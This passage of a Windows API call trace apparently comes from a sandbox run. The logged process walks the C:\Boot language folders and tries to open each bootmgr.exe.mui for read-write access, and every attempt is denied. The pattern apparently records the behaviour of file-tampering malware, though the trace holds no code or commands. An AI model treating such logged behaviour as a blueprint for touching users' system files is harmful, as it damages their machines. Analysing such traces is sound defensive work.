ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0128.121] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0128.121] GetProcessHeap () returned 0x2a0000 [0128.121] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x22e) returned 0x2c7868 [0128.121] CreateFileW (lpFileName="C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0128.121] GetLastError () returned 0x5 [0128.121] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0128.122] FindClose (in: hFindFile=0x2c62e0 | out: hFindFile=0x2c62e0) returned 1 [0128.122] GetProcessHeap () returned 0x2a0000 [0128.122] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7868 | out: hHeap=0x2a0000) returned 1 [0128.122] FindNextFileW (in: hFindFile=0x2c6320, lpFindFileData=0x290fa98 | out: lpFindFileData=0x290fa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0128.122] GetProcessHeap () returned 0x2a0000 [0128.122] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x2c) returned 0x2c4b30 [0128.122] FindFirstFileW (in: lpFileName="C:\\Boot\\pl-PL\\*.*", lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2c62e0 [0128.122] GetProcessHeap () returned 0x2a0000 [0128.122] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0128.122] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0128.122] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0128.122] GetProcessHeap () returned 0x2a0000 [0128.122] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x22e) returned 0x2c7868 [0128.122] CreateFileW (lpFileName="C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0128.123] GetLastError () returned 0x5 [0128.123] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0128.123] FindClose (in: hFindFile=0x2c62e0 | out: hFindFile=0x2c62e0) returned 1 [0128.123] GetProcessHeap () returned 0x2a0000 [0128.123] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7868 | out: hHeap=0x2a0000) returned 1 [0128.124] FindNextFileW (in: hFindFile=0x2c6320, lpFindFileData=0x290fa98 | out: lpFindFileData=0x290fa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0128.124] GetProcessHeap () returned 0x2a0000 [0128.124] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x2c) returned 0x2c4b30 [0128.124] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-BR\\*.*", lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2c62e0 [0128.124] GetProcessHeap () returned 0x2a0000 [0128.124] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0128.124] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0128.124] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0128.124] GetProcessHeap () returned 0x2a0000 [0128.124] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x22e) returned 0x2c7868 [0128.124] CreateFileW (lpFileName="C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0128.124] GetLastError () returned 0x5 [0128.124] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0128.124] FindClose (in: hFindFile=0x2c62e0 | out: hFindFile=0x2c62e0) returned 1 [0128.125] GetProcessHeap () returned 0x2a0000 [0128.125] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7868 | out: hHeap=0x2a0000) returned 1 [0128.125] FindNextFileW (in: hFindFile=0x2c6320, lpFindFileData=0x290fa98 | out: lpFindFileData=0x290fa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0128.125] GetProcessHeap () returned 0x2a0000 [0128.125] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x2c) returned 0x2c4b30 [0128.125] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-PT\\*.*", lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2c62e0 [0128.125] GetProcessHeap () returned 0x2a0000 [0128.125] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0128.125] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0128.125] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0128.125] GetProcessHeap () returned 0x2a0000 [0128.125] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x22e) returned 0x2c7868 [0128.125] CreateFileW (lpFileName="C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0128.126] GetLastError () returned 0x5 [0128.126] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0128.126] FindClose (in: hFindFile=0x2c62e0 | out: hFindFile=0x2c62e0) returned 1 [0128.126] GetProcessHeap () returned 0x2a0000 [0128.126] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7868 | out: hHeap=0x2a0000) returned 1 [0128.126] FindNextFileW (in: hFindFile=0x2c6320, lpFindFileData=0x290fa98 | out: lpFindFileData=0x290fa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0128.126] GetProcessHeap () returned 0x2a0000 [0128.126] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x2c) returned 0x2c4b30 [0128.127] FindFirstFileW (in: lpFileName="C:\\Boot\\ru-RU\\*.*", lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2c62e0 [0128.127] GetProcessHeap () returned 0x2a0000 [0128.127] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0128.127] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0128.127] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0128.127] GetProcessHeap () returned 0x2a0000 [0128.127] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x22e) returned 0x2c7868 [0128.127] CreateFileW (lpFileName="C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0128.127] GetLastError () returned 0x5 [0128.127] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0128.127] FindClose (in: hFindFile=0x2c62e0 | out: hFindFile=0x2c62e0) returned 1 [0128.127] GetProcessHeap () returned 0x2a0000 [0128.127] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7868 | out: hHeap=0x2a0000) returned 1 [0128.127] FindNextFileW (in: hFindFile=0x2c6320, lpFindFileData=0x290fa98 | out: lpFindFileData=0x290fa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0128.127] GetProcessHeap () returned 0x2a0000 [0128.128] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x2c) returned 0x2c4b30 [0128.128] FindFirstFileW (in: lpFileName="C:\\Boot\\sv-SE\\*.*", lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2c62e0 [0128.128] GetProcessHeap () returned 0x2a0000 [0128.128] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0128.128] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0128.128] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0128.128] GetProcessHeap () returned 0x2a0000 [0128.128] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x22e) returned 0x2c7868 [0128.128] CreateFileW (lpFileName="C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0128.129] GetLastError () returned 0x5 [0128.129] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0128.129] FindClose (in: hFindFile=0x2c62e0 | out: hFindFile=0x2c62e0) returned 1 [0128.129] GetProcessHeap () returned 0x2a0000 [0128.129] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7868 | out: hHeap=0x2a0000) returned 1 [0128.129] FindNextFileW (in: hFindFile=0x2c6320, lpFindFileData=0x290fa98 | out: lpFindFileData=0x290fa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0128.129] GetProcessHeap () returned 0x2a0000 [0128.129] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x2c) returned 0x2c4b30 [0128.129] FindFirstFileW (in: lpFileName="C:\\Boot\\tr-TR\\*.*", lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2c62e0 [0128.130] GetProcessHeap () returned 0x2a0000 [0128.130] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0128.130] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0128.130] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0128.130] GetProcessHeap () returned 0x2a0000 [0128.130] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x22e) returned 0x2c7868 [0128.130] CreateFileW (lpFileName="C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0128.130] GetLastError () returned 0x5 [0128.130] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0128.130] FindClose (in: hFindFile=0x2c62e0 | out: hFindFile=0x2c62e0) returned 1 [0128.132] GetProcessHeap () returned 0x2a0000 [0128.132] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7868 | out: hHeap=0x2a0000) returned 1 [0128.132] FindNextFileW (in: hFindFile=0x2c6320, lpFindFileData=0x290fa98 | out: lpFindFileData=0x290fa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0128.132] GetProcessHeap () returned 0x2a0000 [0128.132] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x2c) returned 0x2c4b30 [0128.132] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-CN\\*.*", lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x10, 